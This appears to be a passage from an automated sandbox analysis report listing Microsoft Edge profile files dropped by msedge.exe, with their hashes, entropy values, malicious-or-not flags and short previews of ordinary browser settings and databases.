Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21838546206064954
Encrypted:	false
SSDEEP:	3:v/7ntFlljq7A/mhWJFuQ3yy7IOWU7L4/dweytllrE9SFcTp4AGbNCV9RUICB:o75fOBs/d0Xi99pEYY
MD5:	1C178E6731DF464AA5851036634A5B3F
SHA1:	054E888480565FCB41032B37F8AFFF3B07126A37
SHA-256:	D366DA3C4426FF17B1EF85915D2CE9E2D01277DAEC4B82130B0AC62191AAD569
SHA-512:	A9BF0B051632B84CCCBC76F5A6DDCE37388B7E0DE77E3EA0D1EA4B2EFF1E0BC337FA8F99704FFC4BC259DED3B0FD2401B97EB60460E1AED293B5C2BFB7CF7C73
Malicious:	false
Preview:	............n......&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.216579778357453
Encrypted:	false
SSDEEP:	12:m0jyv4Yeb8rcHEZrELFUt8oF/+7R5LYeb8rcHEZrEZSJ:mJ4Yeb8nZrExg8ooLYeb8nZrEZe
MD5:	C7F764D7DACA7DF67E1D5E291498C9CF
SHA1:	7AE53179776EC281339600710B74543376D75979
SHA-256:	50394228EB89822E7F8ABC42A48F7EACE5A7F5665C84AD34BF11548E2C837D11
SHA-512:	A722752243999A65EF7AD37E6D61DE4B1423B82678C9D593FA347387728E64B498C306DB3919D8D29A19B931EB31A4FF214297265753C74AC3D4B88490DF5A45
Malicious:	false
Preview:	2024/11/22-19:14:22.169 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-19:14:22.170 1de4 Recovering log #3.2024/11/22-19:14:22.171 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.216579778357453
Encrypted:	false
SSDEEP:	12:m0jyv4Yeb8rcHEZrELFUt8oF/+7R5LYeb8rcHEZrEZSJ:mJ4Yeb8nZrExg8ooLYeb8nZrEZe
MD5:	C7F764D7DACA7DF67E1D5E291498C9CF
SHA1:	7AE53179776EC281339600710B74543376D75979
SHA-256:	50394228EB89822E7F8ABC42A48F7EACE5A7F5665C84AD34BF11548E2C837D11
SHA-512:	A722752243999A65EF7AD37E6D61DE4B1423B82678C9D593FA347387728E64B498C306DB3919D8D29A19B931EB31A4FF214297265753C74AC3D4B88490DF5A45
Malicious:	false
Preview:	2024/11/22-19:14:22.169 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-19:14:22.170 1de4 Recovering log #3.2024/11/22-19:14:22.171 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.673827957541988
Encrypted:	false
SSDEEP:	24:Lpl0ZWol5hH+P5lxYg9bmXZrW2sFV03y1x4gjMy1WStUlHp0kTN5zgFHHmi28/V:EZN5hH+Pd/9iXZa2iV03Sx4Xy1Fu+HHn
MD5:	7808EEA22D052D9CE80A62BD1FA4FE56
SHA1:	8A053841273B680B53B2387DF8B5C88B4A1CA95D
SHA-256:	57C49337ED70BC1DD42492BC541662769539B9DE9F7BF886CDD7DA51E8DEF39D
SHA-512:	6CF8912B22677E82CCCCC190732DFF8129F8091876446767F876D21E444CFCC003746471E79960574A33E477639E83F1AC34ADAAD43E265D2C089250CDD6CE65
Malicious:	false
Preview:	.....................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732320872200.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732320873293.._https://ntp.msn.com..MUID!.175F64EB34B4667D05E971AB35C6675C.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732320872273,"schedule":[-1,-1,-1,4,20,-1,34],"scheduleFixed":[-1,-1,-1,4,20,-1,34],"simpleSchedule":[51,13,47,40,45,50,14]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732320872134.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Fri Nov 22 2024 19:14:31 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1013742358240926
Encrypted:	false
SSDEEP:	6:HLTFUk34q2P923oH+Tcwt8a2jMGIFUt8YLSJZmw+YENDkwO923oH+Tcwt8a2jMmd:lUdv4Yeb8EFUt8X/+J5LYeb8bJ
MD5:	FF6600AD4092674252B633CFDF650248
SHA1:	81BF6536A74A03E0DAD0D2A7C5D2D87A4C75A9C5
SHA-256:	161EEA7CCA3070734B3B90E9BC3BF329DDD60FB8228453078C44056DE285A758
SHA-512:	2EF35956458A7B6E7F3FF807865B5A9E6E872020CE5177923509BE56AB883F32387E464A14E1B1BB9967073016CC8FB312940F9D67C1B2A32B1D38A0CCB5B5C2
Malicious:	false
Preview:	2024/11/22-19:14:17.226 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-19:14:17.227 1e40 Recovering log #3.2024/11/22-19:14:17.230 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1013742358240926
Encrypted:	false
SSDEEP:	6:HLTFUk34q2P923oH+Tcwt8a2jMGIFUt8YLSJZmw+YENDkwO923oH+Tcwt8a2jMmd:lUdv4Yeb8EFUt8X/+J5LYeb8bJ
MD5:	FF6600AD4092674252B633CFDF650248
SHA1:	81BF6536A74A03E0DAD0D2A7C5D2D87A4C75A9C5
SHA-256:	161EEA7CCA3070734B3B90E9BC3BF329DDD60FB8228453078C44056DE285A758
SHA-512:	2EF35956458A7B6E7F3FF807865B5A9E6E872020CE5177923509BE56AB883F32387E464A14E1B1BB9967073016CC8FB312940F9D67C1B2A32B1D38A0CCB5B5C2
Malicious:	false
Preview:	2024/11/22-19:14:17.226 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-19:14:17.227 1e40 Recovering log #3.2024/11/22-19:14:17.230 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\033bf57b-9cfd-4d87-8942-bc8e03a75935.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\12ca5aa2-d74e-4b39-96f1-c0ce453b4c82.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\55e77ac1-1c09-415e-ad77-2b14d1026f9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\64640a55-0b50-42cc-a3bb-b1f4defa29cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6f30556d-d049-4ab0-a77c-d1d9c92471f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.774925092289998
Encrypted:	false
SSDEEP:	192:tTGoTDEGGq7CL9jfFqGwZR9wcAWXcf0L/ZJVb:VGOEGGqmL9zkCWXI0LhJVb
MD5:	80ED3048253E6E97254963B26E2E62AB
SHA1:	EF0E37BE6EB58FA541EEE70B1BF961C5D53CA242
SHA-256:	31BA1CAD4E22759EA8380C9B2C54E12651F0C823C3CD23FAAD256492D69D4231
SHA-512:	F5B1F9DD873DAF5745A0337E07C038356AEC8D846D9DDDA71CAB66998B040BA34BB03FE4682A6A8F9E3310F319C91F16E3788BFAB500B8B1B2D80390FBAE2116
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.32602838082468
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsWZVMdmw6C1VdsEZFRudFGRRds5pZ6ma3yeesw6maPsRdslZC52HMZ:YcgCzsiuRs8fcKslleeBkEszCgHEbxo+
MD5:	C68ECBF65CD57FCD27F08357E28C85F2
SHA1:	4E67C7621BF0DA344B50FB58294E13DAD1556EF0
SHA-256:	A9297F81D73A95A87D5E543D39F6DC2B45ECA4AA3AA8C4FC82157A5CC3070185
SHA-512:	8002ED9E9970AFABAE9F47BFD540C05CDC219EC3CD6632AB3E7D43018606EE6711DBBDA79BCFADAA50D3AE22545EF4399A57608A2A6919D4428421B0E7CB484D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379386460833725","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379386481263363","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376888083922559","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1119126259911223
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9WT:uIEumQv8m1ccnvS6a
MD5:	79ADE08A5097107FFF77783575B3C7C9
SHA1:	B958C05460CBBF7E15E5387CEAD61C49BA635ED6
SHA-256:	8DC36C9FB64EA2F71EB41876327C7E0BE23E3712B188C5DF56415C258F6F94B8
SHA-512:	9EAF15254AAE7A08DC8859B0EB1D15AC7DE2A193070C25C83D294B1A2EC471345913E6D348DC3209DC0785EBE13F8F0884DB30F6A0965BB6EAAB80E7A0592B16
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38648.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d737.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4a593.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF4ccc2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b83f2e65-ef02-4201-8cc0-30dca7031409.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e91a564c-9a50-4c74-b091-459813842d96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1664
Entropy (8bit):	5.32602838082468
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsWZVMdmw6C1VdsEZFRudFGRRds5pZ6ma3yeesw6maPsRdslZC52HMZ:YcgCzsiuRs8fcKslleeBkEszCgHEbxo+
MD5:	C68ECBF65CD57FCD27F08357E28C85F2
SHA1:	4E67C7621BF0DA344B50FB58294E13DAD1556EF0
SHA-256:	A9297F81D73A95A87D5E543D39F6DC2B45ECA4AA3AA8C4FC82157A5CC3070185
SHA-512:	8002ED9E9970AFABAE9F47BFD540C05CDC219EC3CD6632AB3E7D43018606EE6711DBBDA79BCFADAA50D3AE22545EF4399A57608A2A6919D4428421B0E7CB484D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379386460833725","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379386481263363","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376888083922559","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

